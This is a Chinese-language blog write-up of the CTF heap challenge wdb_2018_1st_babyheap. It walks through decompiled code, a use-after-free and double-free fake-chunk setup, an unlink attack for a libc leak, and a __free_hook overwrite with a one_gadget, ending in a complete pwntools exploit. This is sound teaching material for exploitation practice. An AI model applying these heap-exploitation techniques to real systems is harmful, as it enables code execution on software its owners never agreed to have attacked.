wdb_2018_1st_babyheap

D0wnBe@t Lv4

前言

Glibc2.24 UAF Unlink

参考:这篇文章

Unlink可以看我写的这个文章: http://downbeat.top/2024/09/25/zctf2016-note2-unlink/

checksec+ida

1
2
3
4
5
6
7
pwn@ctfpwn:~/Desktop/buuctf/wdb_2018_1st_babyheap$ checksec pwn
[*] '/home/pwn/Desktop/buuctf/wdb_2018_1st_babyheap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
  • NO PIE第一想法就是Unlink

  • 下面查看ida的结果(查看关键模块)

add

  • 限制了每次malloc的size为0x20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_4009A0()
{
unsigned int idx; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
idx = atoi(s);
if ( idx <= 9 && !(&ptr)[idx] )
{
(&ptr)[idx] = (char *)malloc(0x20uLL);
printf("Content:");
my_input((&ptr)[idx], 32LL);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

edit

  • 只有三次修改的机会,并且只能修改0x20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_400A79()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 0x1F && (&ptr)[v1] && dword_6020B0 != 3 )
{
printf("Content:");
my_input((&ptr)[v1], 32LL);
++dword_6020B0;
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

show

  • 可用来leak libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sub_400C01()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 9 && (&ptr)[v1] )
{
puts((&ptr)[v1]);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

free

  • 很明显的UAF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sub_400B54()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi(s);
if ( v1 <= 9 && (&ptr)[v1] )
{
free((&ptr)[v1]);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

思路分析

  1. 由于限制了每次只能malloc(0x20)而且只能修改0x20的字节数,可以有off_by_null,但是这里给了UAF,并且在glibc2.24double free的利用姿势十分简单,我们可以利用fastbin链表泄露chunk的地址,利用double free去构造一个fake_chunk,这个fake_chunk的user_data包含某个chunk的prev_size和size那么就可以实现leak libcunlink
  2. 同时这里限制了chunk的数量,相对于Aribitraty alloc很明显是不够的
  3. 这题目坑其实挺多的,在下面调试的时候慢慢说吧

题解&gdb

leak heap_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = p64(0)+p64(0x31)+p64(0)+p32(0x31)
add(0,payload) # 构造fake_chunk准备
add(1)
add(2)
add(3)
add(4)
free(1)
free(0)
free(1)

show(0)

heapptr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) - 0x30
lg("heap_ptr: ",heapptr)
  • 注意这个payload
1
payload = p64(0)+p64(0x31)+p64(0)+p32(0x31)

最后不能是p64,因为是sendline发送的,自带\n,影响下一次的choice

  • 但其实后面无所谓是什么,即使不修改0x20的地方都没事

构造fake_chunk

1
2
3
add(5,p64(heapptr+0x10)) # 1
add(6) # 0
add(7) # 1
  • 修改chunk1的fd指向chun0下方构造的fake_chunk

  • 下次malloc那么便会将这处fake_chunk给malloc走,那我们修改0x20正好可以修改chunk1的prev_size和size,同时我们也可以顺手布置unlink所需的条件,如下的payload
1
2
3
4
ptr = 0x602060
target = ptr + 0x30
payload = p64(target-0x18) + p64(target-0x10) + p64(0x20) + p32(0x90)
add(8,payload) # fake_chunk
  • 对于target,由于0,1号chunk通过uaf连接的比较杂,所以我们可以选chunk3为目的chunk,unlink是修改某个heap为target-0x18,此时target-0x18是chunk3的地址,故…..
1
2
3
4
5
6
7
edit(0,p64(0)+b"\x21")
free(1)
show(8)
#bug()
malloc_hook = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-0x10-0x58
libc.address = malloc_hook - libc.sym['__malloc_hook']
lg("libc_address: ",libc.address)
  • 为了Unlink我们还要修改fake_chunk的size=0x21(下图是修改之前的)

  • 为什么不在一开始就修改为0x20?

因为在fastbin中会对处于同一个bin的size进行检查,之前是将fake_chunk链在size=0x31的fastbin上,所以要将size设置为0x31,此时要unlink,所以设置为0x21

ezUnlink运用

1
2
3
4
5
edit(6,p64(libc.sym['__free_hook']))
edit(3,p64(libc.address+0x4527a)) #+0x4527a

free(4)
p.interactive()
  • 实现unlink之后的布局

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda :print(p.recv())
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
#libc = "/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so" # ubuntu16
#libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.27.so" # ubuntu18


p = process(file)
#p = remote("node5.buuoj.cn",27865)
elf = ELF(file)
libc = ELF(libc)
#p = remote("", 23583)

# uaf,无PIE,打unlink

def choice(idx):
sla("Choice:",str(idx))

def add(idx,content='a'):
choice(1)
sla("Index:",str(idx))
sla("Content:",content)
p.recvline()

def edit(idx,content):
choice(2)
sla("Index:",str(idx))
sla("Content:",content)
p.recvline()

def show(idx):
choice(3)
sla("Index:",str(idx))

def free(idx):
choice(4)
sla("Index:",str(idx))

payload = p64(0)+p64(0x31)+p64(0)+p32(0)#p32(0x31)
add(0,payload)
add(1)
add(2)
add(3)
add(4)
free(1)
free(0)
free(1)

show(0)

heapptr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) - 0x30
lg("heap_ptr: ",heapptr)

add(5,p64(heapptr+0x10)) # 1
add(6) # 0
add(7) # 1
#bug()

ptr = 0x602060
target = ptr + 0x30
payload = p64(target-0x18) + p64(target-0x10) + p64(0x20) + p32(0x90)
add(8,payload) # fake_chunk

edit(0,p64(0)+b"\x21")
free(1)
show(8)
#bug()
malloc_hook = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-0x10-0x58
libc.address = malloc_hook - libc.sym['__malloc_hook']
lg("libc_address: ",libc.address)

one = [0x45216,0x4526a,0xf02a4,0xf1147]
#bug()
edit(6,p64(libc.sym['__free_hook']))
edit(3,p64(libc.address+one[1])) #+0x4527a

free(4)
p.interactive()
  • 标题: wdb_2018_1st_babyheap
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-08 16:25:09
  • 更新于 : 2024-11-08 17:52:14
  • 链接: http://downbeat.top/2024/11/08/wdb-2018-1st-babyheap/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论